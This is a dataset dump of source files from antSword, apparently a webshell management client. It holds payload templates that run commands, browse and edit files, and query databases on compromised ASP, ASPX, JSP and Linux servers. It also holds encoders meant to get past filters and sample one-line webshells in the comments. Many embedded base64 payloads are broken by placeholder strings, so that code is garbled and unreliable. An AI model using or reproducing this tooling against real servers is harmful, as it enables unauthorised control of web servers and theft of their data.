text stringlengths 9 39.2M | dir stringlengths 25 226 | lang stringclasses 163
values | created_date timestamp[s] | updated_date timestamp[s] | repo_name stringclasses 751
values | repo_full_name stringclasses 752
values | star int64 1.01k 183k | len_tokens int64 1 18.5M |
|---|---|---|---|---|---|---|---|---|
```javascript
/**
* ASPX
* 2016/04/12
* -
* <path_to_url
*
* : 2016/04/23
* - aspx
* Medici.Yan <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class ASPX extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
... | /content/code_sandbox/source/core/aspx/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 852 |
```javascript
/**
* aspx::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/aspx/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 53 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `var c=new System.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#))));
var e=new System.Diagnostics.Process();... | /content/code_sandbox/source/core/aspx/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 494 |
```javascript
/**
* ::sqlserver odbc
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `$connstr=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('#{base64::conn}'));
$needcolumnname=$FALSE;
$columnsep=[char]9;
$conn=Ne... | /content/code_sandbox/source/core/pswindows/template/database/sqlserver_odbc.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,274 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `var c=System.IO.Directory.GetLogicalDrives();Response.Write(Server.MapPath(".")+"\t");for(var i=0;i<=c.length-1;i++)Response.Write(c[i][0]+":");Response.Write("\t"+Environment.OSVersion+"\t");Response.Write(Environment.UserName);`
},
probe... | /content/code_sandbox/source/core/aspx/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 175 |
```javascript
/**
* ASPX::oracle
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.ConnectionTimeout=10;
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64Stri... | /content/code_sandbox/source/core/aspx/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 957 |
```javascript
//
// ASPX::mysql
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 18 |
```javascript
//
// ASPX::microsoft_jet_oledb_4_0
//
module.exports = require('./access');
``` | /content/code_sandbox/source/core/aspx/template/database/microsoft_jet_oledb_4_0.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `var D=System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"].substr(#randomPrefix#)));var m=new System.IO.DirectoryInfo(D);var s=m.GetDirectories();var P:String;var i;funct... | /content/code_sandbox/source/core/aspx/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,754 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write("[ADO D... | /content/code_sandbox/source/core/aspx/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 853 |
```javascript
//
// ASPX::DNS
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/dsn.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 16 |
```javascript
/**
* access
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));Response.Write(R... | /content/code_sandbox/source/core/aspx/template/database/access.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 868 |
```javascript
//
// ASPX::sqloledb_1_sspi
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/sqloledb_1_sspi.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 25 |
```javascript
//
// ASPX::sqloledb_1
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/aspx/template/database/sqloledb_1.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 23 |
```javascript
//
// aspx::hex
//
// hex
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLow... | /content/code_sandbox/source/core/aspx/encoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 257 |
```javascript
//
// aspx::base64
//
// :base64
//
'use strict';
module.exports = (pwd, data, ext = null) => {
let randomID;
if (ext.opts.otherConf['use-random-variable'] === 1) {
randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);
} else {
randomID = `${antSword['utils'].RandomLowercase()}... | /content/code_sandbox/source/core/aspx/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 173 |
```javascript
/**
* aspx::url_unicode
* %uXXXX
* eg: Re => %u0052%u0065
* Create at: 2019/05/31 17:11:01
*/
'use strict';
function char2unicode(c) {
if (c.length != 1) {
return '';
}
let buff = Buffer.alloc(4, '0');
let hexstr = c
.charCodeAt()
.toString(16);
buff.write(hexstr, buff.leng... | /content/code_sandbox/source/core/aspx/encoder/url_unicode.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 269 |
```javascript
/**
* ASPX::sqlserver
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `var Conn=new ActiveXObject("Adodb.connection");
Conn.Open(System.Text.Encoding.GetEncoding("!{ANT::ENDOCE}").GetString(System.Convert.FromBase64String(Request.Item["${arg1}"])));... | /content/code_sandbox/source/core/aspx/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 956 |
```javascript
/**
* JSP::reverse
*/
'use strict';
module.exports = {
asoutput: (ext={}) => {
/**
* ext = {
* opts: Object, Shell
* }
*/
return `your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hash... | /content/code_sandbox/source/core/jsp/decoder/reverse.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 141 |
```javascript
/**
* JSP::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (data) => {
return data;
}
}
``` | /content/code_sandbox/source/core/jsp/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 53 |
```javascript
/**
* jsp::rot13
*/
'use strict';
const rot13encode = (s) => {
//use a Regular Expression to Replace only the characters that are a-z or A-Z
return s.replace(/[a-zA-Z]/g, function (c) {
// Get the character code of the current character and add 13 to it If it is
// larger than z's ch... | /content/code_sandbox/source/core/jsp/decoder/rot13.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 342 |
```javascript
/**
* JSP::base64
*/
'use strict';
module.exports = {
asoutput: (ext={}) => {
/**
* ext = {
* opts: Object, Shell
* }
*/
return `your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashy... | /content/code_sandbox/source/core/jsp/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 252 |
```javascript
/**
* JSP
* yzddMr6
*/
'use strict';
const Base = require('../base');
class JSP extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'other',
'database/sqlserver',
'database/mysql',
'database/oracle'
].map... | /content/code_sandbox/source/core/jsp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,473 |
```javascript
//
//
//
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashHAC/CgAdAL8LAGAAwAoACwC/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAPQKANsA9QoANwD2CAD3CgA3APgHAPkHAPoKAFYA+woAVQD8CgBVAP0IAP4KAFUA/your_sha256_hashyour_sha256_hashyou... | /content/code_sandbox/source/core/jsp/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,618 |
```javascript
//
//
//
//
module.exports = () => ({
info: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashy... | /content/code_sandbox/source/core/jsp/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,263 |
```javascript
//
//
//
//
module.exports = (arg1, arg2, arg3, arg4, arg5) => ({
redisconn: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashCgAcALQLAGIAtQoACwC0CgB5ALYKALcAuAoAuQC6CgApALsKACkAvAcAvQoAeQC+your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAFQA7woAVADwBwDxCgBaAPIKAFQA8woAV... | /content/code_sandbox/source/core/jsp/template/other.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,927 |
```javascript
//
// oracle
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashy... | /content/code_sandbox/source/core/jsp/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,825 |
```javascript
//
//
//
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashcmVmaXgBABBkZWNvZGVyQ2xhc3NkY... | /content/code_sandbox/source/core/jsp/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 8,735 |
```javascript
//
//
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashALcAuAsAuQC6CwC7ALwLALsAvQsAuQC+your_sha256_... | /content/code_sandbox/source/core/jsp/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,483 |
```javascript
/**
* PHP4
*/
'use strict';
//const Base = require('../base');
const PHP = require('../php/index');
class PHP4 extends PHP {
/**
* HTTP
* @param {Object} data
* @return {Promise} Promise
*/
complete(data, force_default = false) {
//
let tag_s, tag_e;
if (this.__opts... | /content/code_sandbox/source/core/php4/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 770 |
```javascript
//
// sqlserver
//
// @params
// :encode SHELL
// :conn
// :sql SQL
// :db
// :table
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
show_databases: {
_: your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyo... | /content/code_sandbox/source/core/jsp/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,758 |
```javascript
/**
* asp::default
*/
'use strict';
module.exports = {
asoutput: () => {
return ``.replace(/\n\s+/g, '');
},
decode_buff: (buff) => {
return buff;
}
}
``` | /content/code_sandbox/source/core/asp/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 52 |
```javascript
/**
* ASP
* 2016/04/12
* -
* <path_to_url
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class ASP extends Base {
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/dsn',
'database/mysql'... | /content/code_sandbox/source/core/asp/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 850 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
},
probedb: //
... | /content/code_sandbox/source/core/asp/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 215 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `Set PutEnv=CreateObject("WScript.Shell").Environment("Process"):
envstr=Split(""&bd(Request("${arg3}"))&"", "|||asline|||"):
For Each envline in envstr:
If Len(envline)>0 Then:
ss=Split(envline, "|||askey|||"):
... | /content/code_sandbox/source/core/asp/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 362 |
```javascript
/**
* ASP::oracle
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
... | /content/code_sandbox/source/core/asp/template/database/oracle.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 965 |
```javascript
//
// ASP::mysql
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/asp/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 17 |
```javascript
//
// ASP::microsoft_jet_oledb_4_0
//
module.exports = require('./access');
``` | /content/code_sandbox/source/core/asp/template/database/microsoft_jet_oledb_4_0.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 26 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `Dim RR:RR=bd(Request("${arg1}")):Function FD(dt):FD=Year(dt)&"-":If Len(Month(dt))=1 Then:FD = FD&"0":End If:FD=FD&Month(dt)&"-":If Len(Day(dt))=1 Then:FD=FD&"0":End If:FD=FD&Day(dt)&" "&FormatDateTime(dt,4)&":":If Len(Second(dt))=1 T... | /content/code_sandbox/source/core/asp/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,551 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Con... | /content/code_sandbox/source/core/asp/template/database/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 912 |
```javascript
//
// ASP::DNS
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/asp/template/database/dsn.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 17 |
```javascript
//
// ASP::sqloledb_1_sspi
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/asp/template/database/sqloledb_1_sspi.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 24 |
```javascript
//
// ASP::sqloledb_1
//
module.exports = require('./default');
``` | /content/code_sandbox/source/core/asp/template/database/sqloledb_1.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 22 |
```javascript
/**
* ASP::access
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End... | /content/code_sandbox/source/core/asp/template/database/access.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 924 |
```javascript
//
// ASP::mysql
//
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `Set Conn=Server.CreateObject("Adodb.connection"):
Dim SI:
Conn.Open bd(Request("${arg1}")):
If Err Then:
SI="ERROR:// "&Err.Description:
Err.Clear:
Els... | /content/code_sandbox/source/core/asp/template/database/sqlserver.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,006 |
```javascript
//
// asp::xxxx
//
// :eval xxxx
/*
<%Function xxxx(str) eval str End Function%><%D = request("ant")%><%xxxx D%>
ant
*/
'use strict';
module.exports = (pwd, data, ext = null) => {
data[pwd] = data['_'].replace(/eval/ig, 'xxxx');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/asp/encoder/xxxxdog.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 88 |
```javascript
/**
* asp::insert_percent
* %
* Create at: 2019/04/19 15:49:43
* <%eval request("ant")%>
*/
'use strict';
/*
* @param {String} pwd
* @param {Array} data payload
* @return {Array} data payload
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|... | /content/code_sandbox/source/core/asp/encoder/insert_percent.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 195 |
```javascript
/**
* cmdlinux::hex
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `asenc(){
command_exists() { command -v "$@" > /dev/null 2>&1; };
if command_exists xxd; then
xxd -ps "$@";
elif command_exists python3; t... | /content/code_sandbox/source/core/cmdlinux/decoder/hex.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 199 |
```javascript
/**
* CMDLinux
*/
'use strict';
// import Base from '../base';
const Base = require('../base');
class CMDLINUX extends Base {
static get supportRawBody() {
return true;
}
constructor(opts) {
super(opts);
//
[
'base',
'command',
'filemanager',
'database/m... | /content/code_sandbox/source/core/cmdlinux/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 738 |
```javascript
/**
* cmdlinux::default
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `asenc(){ cat "$@"; };`.replace(/\n\s+/g, '');
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
... | /content/code_sandbox/source/core/cmdlinux/decoder/default.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 105 |
```javascript
/**
* cmdlinux::base64
*/
'use strict';
module.exports = {
/**
* @returns {string} asenc
*/
asoutput: () => {
return `asenc(){ base64 "$@"; };`
},
/**
* Buffer
* @param {Buffer} buff Buffer
* @returns {Buffer} Buffer
*/
decode_buff: (buff) => {
re... | /content/code_sandbox/source/core/cmdlinux/decoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 107 |
```javascript
/**
*
* ?
*/
module.exports = () => ({
info: {
_: `ACWD=$(pwd);
AUNAME=$(uname -a);
AUSER=$(whoami);
echo -n "$ACWD\t/\t$AUNAME\t$AUSER";`.replace(/\n\s+/g, '')
},
probedb: { //
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
DBLIST="mysql psql sqlite3";
... | /content/code_sandbox/source/core/cmdlinux/template/base.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 164 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
exec: {
_: `command_exists() { command -v "$@" > /dev/null 2>&1; };
AENVSTR="#{buffer::env}";
if command_exists xxd; then
ENVSTR=$(echo -n $AENVSTR|xxd -r -p);
elif command_exists python3; then
ENVSTR=$(echo -n $AENVST... | /content/code_sandbox/source/core/cmdlinux/template/command.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 359 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `APWD="#{passwd}";
if [ -z $APWD ]; then MYSQLPWD=""; else MYSQLPWD="-p\${APWD}"; fi;
mysql --raw -N -B -h#{host} -u#{user} $MYSQLPWD -e "show databases;"|while read DBRE... | /content/code_sandbox/source/core/cmdlinux/template/database/mysql.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 458 |
```javascript
/**
* :: sqlite3
* i => \\t|\\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `SQLITEFILE="#{host}";
if [ -f $SQLITEFILE ]; then echo -n "main\t"; else echo -n "ERROR:// $SQLITEFILE not found."; fi;
`,
},
//
show_tables: {
_: `SQLITEFIL... | /content/code_sandbox/source/core/cmdlinux/template/database/sqlite3.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 357 |
```javascript
/**
*
*/
module.exports = (arg1, arg2, arg3) => ({
dir: {
_: `cd #{path} && find . -maxdepth 1 \\( -type d -printf "%f/\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\t%.4m\\n" \\) , \\( -not -type d -printf "%f\\t%AY-%Am-%Ad %AH:%AM:%AS\\t%s\\t%.4m\\n" \\)||echo -n "ERROR:// Path not found OR no Permission";`
... | /content/code_sandbox/source/core/cmdlinux/template/filemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,196 |
```javascript
'use strict';
/**
* webshell eg:
<?php system(base64_decode($_POST['ant']));?>
*/
module.exports = (pwd, data, ext = null) => {
data[pwd] = Buffer.from(data['_']).toString('base64');
delete data['_'];
return data;
}
``` | /content/code_sandbox/source/core/cmdlinux/encoder/base64.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 63 |
```javascript
//
//
//
const ENCODES = [
'GBK',
'UTF8',
'BIG5',
'GB2312',
'Euc-KR',
'Euc-JP',
'Shift_JIS',
'ISO-8859-1',
'Windows-874',
'Windows-1251'
];
module.exports = ENCODES;
``` | /content/code_sandbox/source/base/encodes.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 81 |
```javascript
'use strict';
/**
*
* @param {array} array
* @param {array} excludes
* @param {int} len , 6
*/
function RandomChoice(array, excludes = [], len = 1) {
var tmp = [];
while (tmp.length < len) {
let v = array[Math.ceil(Math.random() * array.length - 1)];
excludes.indexOf(v) === -1 && tmp.... | /content/code_sandbox/source/base/utils.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 203 |
```javascript
//
//
//
'use strict';
const iconv = require('iconv-lite'),
jschardet = require('jschardet');
class Decodes {
decode(buff, encoding) {
return iconv.decode(buff, encoding);
}
/**
* buffer
* ref: path_to_url
* @param buffer
* @param options
* - defaultEncoding
* - minConfi... | /content/code_sandbox/source/base/decodes.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 366 |
```javascript
//
//
//
'use strict';
class CacheManager {
constructor(id) {
this.id = id;
this.sender = antSword['ipcRenderer'].sendSync;
}
//
get(tag) {
const ret = this.sender('cache-get', {
id: this.id,
tag: tag
});
return ret ?
ret['cache'] :
false;
}
//... | /content/code_sandbox/source/base/cachemanager.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 190 |
```javascript
//
//
//
class Menubar {
constructor() {
this.events = {};
//
antSword['ipcRenderer'].send('menubar', antSword['language']['menubar']);
//
/*
antSword['menubar'].reg('command', () => {});
*/
antSword['ipcRenderer'].on('menubar', (event, argv) => {
let ... | /content/code_sandbox/source/base/menubar.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 320 |
```javascript
const CM = {
/**
* Cookie
* @type {object}
*/
cookies: antSword.remote.session.defaultSession.cookies,
/**
* Cookie
* @param {Object} opt = {} {url, name, domain, path, secure, session}
* @docLink path_to_url#cookiesgetfilter-callback
* @return {Promise} [description]
*/... | /content/code_sandbox/source/modules/viewsite/cookiemgr.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 291 |
```javascript
/**
*
* 2016/07/01
*/
const CookieMgr = require('./cookiemgr');
const LANG = antSword.language['viewsite'];
const LANG_T = antSword.language['toastr'];
class ViewSite {
constructor(opts) {
const hash = String(Math.random()).substr(2, 10);
// UI::tabbar
const tabbar = antSword['tabbar'... | /content/code_sandbox/source/modules/viewsite/index.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,564 |
```javascript
const RANDOMWORDS = [
"abbreviation",
"abstract",
"abstraction",
"access",
"accumulator",
"activate",
"adapter",
"address",
"algebraic",
"algorithm",
"alias",
"allocate",
"alternative",
"amortized",
"anaphoric",
"annotation",
"anonymous",... | /content/code_sandbox/source/base/words.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 3,175 |
```javascript
/**
*
*/
const LANG = antSword['language']['settings']['language'];
const LANG_T = antSword['language']['toastr'];
class Language {
constructor(sidebar) {
sidebar.addItem({
id: 'language',
text: `<i class="fa fa-language"></i> ${LANG['title']}`
});
const cell = sidebar.cell... | /content/code_sandbox/source/modules/settings/language.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 446 |
```javascript
/**
* ::
*/
const LANG = antSword['language']['settings']['display'];
const LANG_T = antSword['language']['toastr'];
class Display {
constructor(sidebar) {
sidebar.addItem({
id: 'display',
text: `<i class="fa fa-television"></i> ${LANG['title']}`
});
const cell = sidebar.cel... | /content/code_sandbox/source/modules/settings/display.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 916 |
```javascript
//
//
//
const LANG = antSword['language']['settings']['aproxy'];
const LANG_T = antSword['language']['toastr'];
class AProxy {
